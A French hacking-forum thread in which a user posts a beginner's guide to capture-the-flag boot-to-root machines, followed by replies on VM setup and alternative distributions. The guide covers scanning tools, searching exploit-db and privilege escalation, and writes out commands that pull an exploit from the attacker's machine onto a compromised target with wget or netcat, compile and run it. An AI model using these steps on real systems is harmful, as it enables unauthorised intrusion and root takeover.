[HOW TO] Débuter un CTF
|
06-02-2013, 17h55
(Modification du message : 03-07-2013, 12h16 par kaizo.)
Message : #1
|
|
kaizo
Membre Messages : 45 Sujets : 6 Points: 22 Inscription : Sep 2012 |
[HOW TO] Débuter un CTF
Introduction :
Je vais vous parler ici des CTF (Capture The Flag), le principe est simple vous devez pénétrer une machine, et devenir Root pour en prendre le contrôle (plus facile à dire qu'à faire). Pour valider un CTF il y a un général un fichier passwd visible uniquement par root qu'on appelle le Flag, si vous pouvez affichez son contenu c'est gagné ! Les CTF sont très intéressants à faire, car les failles ne sont pas simulées, plusieurs méthodes fonctionnent pour arriver à ses fins. Un CTF se présente sous la forme d'une iso que vous devez faire tourner dans une machine virtuelle, représentant un serveur avec des services qui tournent dessus. Je vais vous indiquer la marche à suivre de manière générale, chaque CTF étant différent, plusieurs sont méthodes possibles, il n'y a pas de méthode universelle, chacun est libre de faire comme il veut ! Partie 1 : Récupération d'informations La première chose à faire est d’analyser le serveur, pour déterminer quels ports sont ouverts, quels services tournent, quel est l'OS, rassembler le maximum d'informations, Pour cela, plusieurs programmes peuvent vous aider Nmap , Nessus, Nikto, Dirbuster, etc. 1) Nikto : Nikto est un scanner de vulnérabilités qui vous permettra comme son nom l'indique de trouver des vulnérabilités, que ce soit des modules obsolètes, quelques dossiers cachés ou informations sensibles. L'utilisation est assez simple, on se place dans le dossier de Nikto : (sous Backtrack) Code : cd/pentest/web/nikto/ ensuite on le lance via la commande nikto.pl avec comme argument l'URL de la cible (ou host) -h , ce qui nous donne : Code : ./nikto.pl -h "http://cible.com" Comme tout programme GNU/Linux, n'hésitez pas à mettre en argument –help pour avoir la totalité des commandes disponibles 2) Nessus : C'est également un scanner de vulnérabilité comme Nikto, mais qui vous renverra beaucoup plus d'informations, l'utilisation en GUI étant assez simple et intuitive je vous renvoie ici pour l’installation et la configuration. Une fois installé et le service démarré, rendez-vous sur Code : https://votreip:8834 Loger vous avec vos credentials, vous verrez plusieurs onglets devant vous, les plus intéressants pour nous étant "REPORTS" et "SCANS". Tout d'abord, allez dans "SCANS", cliquez sur "ADD" Choisissez un nom, dans la case "POLICIES" choisissez ce qui vous convient : - "INTERNAL NETWORK SCAN" : Pour un scan sur une cible qui est sur notre réseau - "EXTERNAL NETWORK SCAN" : Pour une cible extérieure à notre réseau (internet) Entrez l'adresse de la cible dans "SCAN TARGETS", puis cliquez sur "LAUNCH SCAN" en bas à droite de l'écran. Une fois le scan terminé, vous trouverez le résultat dans la partie "REPORTS", sélectionnez un scan et cliquez sur "BROWSE" pour voir le contenu du scan, c’est classé par ports, avec un indice de dangerosité pour chacune des failles trouvées : rouge : failles dangereuses jaune : failles potentiellement dangereuses bleu : failles peu dangereuses 3)Dirbuster : Dirbuster est un programme qui brute force le serveur pour trouver les dossiers et fichiers qui s'y trouvent, on peut le lancer en brute force pure, ou mode dictionnaire. Pour le lancer, on se place dans le dossier d'installation (sous backtrack) Code : cd /pentest/web/dirbuster/ et on le lance avec cette commande (la version peut dépendre, à vous de vous adapter) : Code : java -jar Dirbuster-0.12.jar Une fois lancée : - on rentre l'adresse de la cible dans la case "TARGET URL" - on peut faire varier le nombre de thread, on l'augmente si on souhaite aller plus vite, ou au contraire on le diminue si on ne souhaite pas surcharger le serveur. - on coche "list based brute force", puis on clique sur "browse" pour sélectionner un dictionnaire. prenez le "2-3-small" - on lance le tout avec "start" , laisser le tourner 2 mn, après arrêter le brute force et analyser les fichiers et dossiers trouvés. Croisez toutes les informations recueillies , regardez bien, vérifiez la vulnérabilité des modules et passez à l'étape suivante ;-) Partie 2 : Recherche et exploitation de failles Une fois les infos récupérées, connecter vous aux différents services ouvert, si Apache tourne, il y a de fortes chances qu'il y ai un site web avec peut être des modules vulnérables, des pages de login, etc. Utilisez dirbuster pour trouver des dossiers cachés (ou devinez), procédez comme n'importe quels challenges pour tenter de bypasser les pages de login, de récupérer des credentials, accédez à la base Sql, etc. Garder à l'esprit que votre but est de spawner un shell sur le serveur ou de récupérer des accès ssh, n'importe lesquels. Regarder le nom des modules utilisés, les services qui tournent et leur version, et vérifier sur exploit.db.com si une exploit peut correspondre à vos attentes. Partie 3 : L'élévation de privilèges Une fois que vous avez réussi à vous connecter via un shell, fouillez partout, dans les dossiers home des utilisateurs, dans les poubelles, les .bash_history, les mails, le crontab, etc. Cherchez à nouveau quelque chose à exploiter pour élever vos privilèges, vérifiez une fois plus sur exploit-db si le noyau n'est pas vulnérable. Les deux exploits les plus connues pour élever ses privilèges sont l'exploit vmsplice et l'exploit Udev, mais il en existe bien d'autres ! Pour connaître la version du noyau, tapez : Code : uname -r vous obtiendrez le numéro de la version, par ex : Code : 3.2.0-4-amd64 Pour plus d'information vous pouvez également tapez Code : uname -a cela vous donnera quelques choses du genre Code : Linux TUX 3.2.0-4-amd64 #1 SMP Debian 3.2.46-1 x86_64 GNU/Linux Connaître la version du noyau vous permet de vérifier s'il est vulnérable, vous pouvez allez vérifier sur exploitdb.com directement, personnellement je préfère le faire en ligne de commande c'est plus rapide ! Placez vous dans le répertoire exploitDB de votre Backtrack Code : cd /pentest/exploits/exploitdb ensuite on va afficher le fichier file.csv et rechercher les correspondances avec notre noyau et ce que l'on cherche, à avoir une élévation de privilège ou Privilege Escalation en anglais (attention à la casse). Dans cet exemple je vais prendre le noyau 2.6 car il y aura plus de résultat étant donné que c'est une ancienne version. Code : cat file.csv | grep "linux,local" | grep "Privilege Escalation" | grep 2.6 une liste d'exploits va s’afficher, à vous de trouver celle qui peut correspondre à vos besoins, vous aurez surement besoin d'en tester plusieurs, on tombe rarement sur la bonne du 1er coup ! Dans cette liste vous avez le chemin d’accès à l'exploit, elles peuvent être en C ou en python ou dans autre langage, nous allons voir ici un exemple avec une exploit en C. Commencez par copier l'exploit dans votre répertoire web /var/www Code : cp platforms/linux/local/votre_exploit.c /var/www/ Si Apache n'est pas démarré, tapez : Code : /etc/init.d/apache2 start Ensuite depuis la machine cible où vous avez votre shell, placez vous dans le répertoire /tmp car c'est le seul qui est en écriture pour tout le monde : Code : cd /tmp on rapatrie notre exploit : Code : wget adresse_de_votre_machine/votre_exploit.c Puis on compile celle-ci : Code : gcc votre_exploit.c -o exploit on lui attribue les droits d’exécution si elles ne les a pas Code : chmod +x exploit et on lance notre exploit avec : Code : ./exploit Sur certain système il peut arriver que wget ne fonctionne pas car bridé ou bloqué par des règles parfeu, dans ce cas la vous pouvez utiliser Netcat pour transférer votre exploit. Commencez par vérifiez si Netcat est présent sur la machine, ainsi que son emplacement avec un : Code : whereis netcat Vous obtiendrez sa location du type Code : /bin/netcat Code : /usr/local/bin/nc une fois trouvé, on va le mettre en écoute sur la machine cible, placez vous dans /tmp , puis tapez : Code : /bin/netcat -l -p 12345 > votre_exploit.c Cette commande met Netcat en écoute (option -l comme « listen ») sur le port 12345 (option -p) et met le résultat de son écoute dans le fichier votre_exploit.c (grâce au symbole >) Placez vous maintenant sur votre machine et tapez : Code : nc adresse_de_la_cible 12345 < votre_exploit.c Cette commande demande à Netcat (nc) de se connecter à l'adresse indiquée sur le port 12345 et d'y envoyer le contenu de votre exploit.c. Attendez quelques secondes le temps que le transfert s'effectue, fermez Netcat en tapant : Code : « ctrl » + c Fermez Netcat sur votre machine puis sur la machine cible, et si tout s'est bien passé, votre fichier s'est transféré avec succès ! Une fois devenu root, visualisez le flag et c'est gagné ! Conclusion : Vous devriez être en mesure maintenant de mieux appréhendez un CTF, et comme la théorie c'est bien beau, mais rien ne vaut la pratique, allez faire un tour ici, vous y trouverez pas mal de CTF intéressants pour débuter, certain d’entre eux sont présent sur root-me.org également, à la différence que sur root-me, ils patchent certaines vulnérabilités pour ne laisser que les plus difficiles, et que chez vous en local vous pouvez prendre tout votre temps :-) Je vous recommande Backtrack que vous trouverez dans la section téléchargement du site, qui regroupe tous les outils nécessaires si vous ne voulez pas les installez un à un sur votre ditrib, Metasploit (présent sur BT) qui peut vous être utile pour des exploit ou spawner un shell crypter, sqlmap et Burpsuite vous seront également très utile. Allez au boulot et enjoy !
"Qui mange une noix de coco, fait confiance à son anus!"
|
|
06-02-2013, 22h03
Message : #2
|
|
oosfalte
Flying Cloud Messages : 47 Sujets : 3 Points: 8 Inscription : Jan 2013 |
RE: [HOW TO] Débuter un CTF
Merci kaizo.
Très intéressant, les CTF ça me tente vraiment et j'attends d'avoir un bon niveau pour m'attaquer à ce genre de challenge.En attendant je vais pouvoir me faire la main grâce à l'iso Au passage dans un genre un peu différent il y a: http://exploit-exercises.com/ avec +seurs .iso selon la difficulté.Plus orienté race condition, bof, privilege escalation. Je viens de voir qu'il y a maintenant également un CTF. |
|
08-02-2013, 18h06
Message : #3
|
|
Wabouz
Membre actif Messages : 96 Sujets : 8 Points: 16 Inscription : Nov 2012 |
RE: [HOW TO] Débuter un CTF
J'ai beaucoup aimé, mais est-ce que tu pourrais approfondir un peu plus? Perso, ça m'intéresse mais backtrack, c'est galère à utiliser...
C'est l'histoire d'un mec qui rentre dans un canard... ( °3°)♫
|
|
08-02-2013, 18h37
Message : #4
|
|
kaizo
Membre Messages : 45 Sujets : 6 Points: 22 Inscription : Sep 2012 |
RE: [HOW TO] Débuter un CTF
Merci de vos retours
Je compte l’approfondir quand j'aurais un peu de temps, l'utilisation de backtrack n'est pas obligatoire, mais pratique car elle regroupe tout un tas d'outils, si tu es sous GNU/linux libre à toi d'installer les logiciels cités, si tu est sous windows, installe backtrack sous une machine virtuelle. Backtrack n'est rien de plus qu'une distribution Linux orienté sécurité disposant d'origine des outils, si tu as du mal a utiliser Backtrack ou ses outils, tu risques d'avoir du mal dans les CTF, google est ton ami, va voir ici pour Backtrack. Si tu as un soucis n'hésites pas à demander, mais je te préviens que je vais pas faire un tuto sur chaque outils présent dans Backtrack, il y en a trop :p
"Qui mange une noix de coco, fait confiance à son anus!"
|
|
08-02-2013, 21h52
Message : #5
|
|
Wabouz
Membre actif Messages : 96 Sujets : 8 Points: 16 Inscription : Nov 2012 |
RE: [HOW TO] Débuter un CTF
Merci des conseils ;P
Je regarde un peu partout etc mais j'ai l'impression que ma machine virtuelle est pas très bien paramétrée, 1er problème ;P. Par contre, si tu as un site, je veux bien, parce que à part le wiki de backtrack qui m'a laissé un peu perplexe, j'ai rien trouvé de très concluant...
C'est l'histoire d'un mec qui rentre dans un canard... ( °3°)♫
|
|
11-02-2013, 17h03
(Modification du message : 15-02-2013, 22h47 par Di0Sasm.)
Message : #6
|
|
kaizo
Membre Messages : 45 Sujets : 6 Points: 22 Inscription : Sep 2012 |
RE: [HOW TO] Débuter un CTF
Mets l' adaptateur de ta machine virtuelle en "pont" ou 'bridge", pour ce qui est des sites et tutos, ne cherche pas un tuto pour backtrack mais plutôt un tuto pour l’outil que tu veux utiliser,
ex : tuto nessus Tu trouveras beaucoup plus de ressources comme ça, sinon va faire un tour ici, tu trouveras pas mal de tuto sur un peu de tout
"Qui mange une noix de coco, fait confiance à son anus!"
|
|
11-02-2013, 17h48
Message : #7
|
|
Bannis Messages : 207 Sujets : 19 Points: 17 Inscription : Oct 2012 |
RE: [HOW TO] Débuter un CTF
Salut, j'ai voulu tester le level 1 de kriotiix (Je sais plus le nom exacte)
Sur backtrack j'ai voulu faire un scan avec nmap comme ceci nmap -sV 192.168.*.* Ca charge normalement puis ca me renvoie une erreur O_o Tu penses que ca pourrait venir de où? Merci |
|
11-02-2013, 18h48
Message : #8
|
|
Wabouz
Membre actif Messages : 96 Sujets : 8 Points: 16 Inscription : Nov 2012 |
RE: [HOW TO] Débuter un CTF
Merci kaizo
C'est l'histoire d'un mec qui rentre dans un canard... ( °3°)♫
|
|
11-02-2013, 19h39
Message : #9
|
|
kaizo
Membre Messages : 45 Sujets : 6 Points: 22 Inscription : Sep 2012 |
RE: [HOW TO] Débuter un CTF
@shirobi :
Arrives tu à pinger correctement la machine ? Peux tu scanner avec un autre soft (Nikto, Nessus) ? Si le problème vient uniquement de Nmap, vérifie ta syntaxe, essaie avec Zenmap si tu es sous backtrak (GUI pour Zenmap) Sinon, vérifie les paramètre de ta VM (cf post du dessus).
"Qui mange une noix de coco, fait confiance à son anus!"
|
|
11-02-2013, 21h58
Message : #10
|
|
Bannis Messages : 207 Sujets : 19 Points: 17 Inscription : Oct 2012 |
RE: [HOW TO] Débuter un CTF
(11-02-2013, 19h39)kaizo a écrit : @shirobi : ok merci :-) |
|
11-02-2013, 22h31
Message : #11
|
|
notfound
#!/usr/bin/env bash Messages : 687 Sujets : 47 Points: 272 Inscription : Sep 2012 |
RE: [HOW TO] Débuter un CTF
(11-02-2013, 17h48)Shirobi a écrit : Salut, j'ai voulu tester le level 1 de kriotiix (Je sais plus le nom exacte) Tu devrais nous donner le code d'erreur que ça te retourne, ça serait plus simple BTW, bon tutoriel Kaizo ! Et j'aimerai rajouter, Backtrack c'est bien, mais y'a aussi Backbox qui est un très bon OS. Il serait mieux d'après certains dires, car plus stable et regroupant des outils plus "utiles" pour le pentest (mais je ne peux confirmer/infirmer) http://www.backbox.org/ |
|
14-02-2013, 15h23
Message : #12
|
|
kaizo
Membre Messages : 45 Sujets : 6 Points: 22 Inscription : Sep 2012 |
RE: [HOW TO] Débuter un CTF
mise à jour de la partie 1 avec mini tuto sur nessus, nikto et dirbuster
enjoy :-)
"Qui mange une noix de coco, fait confiance à son anus!"
|
|
15-02-2013, 21h39
Message : #13
|
|
Swissky
Bon membre Messages : 523 Sujets : 32 Points: 96 Inscription : Apr 2012 |
RE: [HOW TO] Débuter un CTF
J'ai pas encore regardé cette video mais elle a l'air intéressante, peut être pourra t'elle t'aider à poursuivre ton tutoriel
http://www.youtube.com/watch?v=zszI5Bxp_...8&index=12 Source: Epita Youtube |
|
29-04-2013, 17h31
Message : #14
|
|
Trivial
Membre actif Messages : 223 Sujets : 10 Points: 29 Inscription : Aug 2011 |
RE: [HOW TO] Débuter un CTF
J'avais déjà entendu parler de Backbox, je vais l'installer sur une VM, histoire de voir la chose.
Sinon, très bon tutoriel ! Et hop, dans mes favoris Citation :manger informatique, dormir informatique, chier informatique sans jamais avoir l'impression que ça nous accable ou que c'est relou, c'est ça être passionné - j0rn |
|
02-07-2013, 17h50
Message : #15
|
|
kaizo
Membre Messages : 45 Sujets : 6 Points: 22 Inscription : Sep 2012 |
RE: [HOW TO] Débuter un CTF
o/ tlm !
Ça fait un moment que j'ai pas posté, ni donné de nouvelles (boulot, boulot) du coup pour mon retour j'ai mis à jour la partie 3 concernant l'escalade de privilège, et si vous êtes sage et surtout si j'ai un peu de temps, je m'attaquerais à la partie 2 pour vous montrer comment spawner un shell ! enjoy ! ps: n'hesitez pas à me dire si vous voyez des coquilles, fautes ou incohérence
"Qui mange une noix de coco, fait confiance à son anus!"
|
|
Utilisateur(s) parcourant ce sujet : 3 visiteur(s)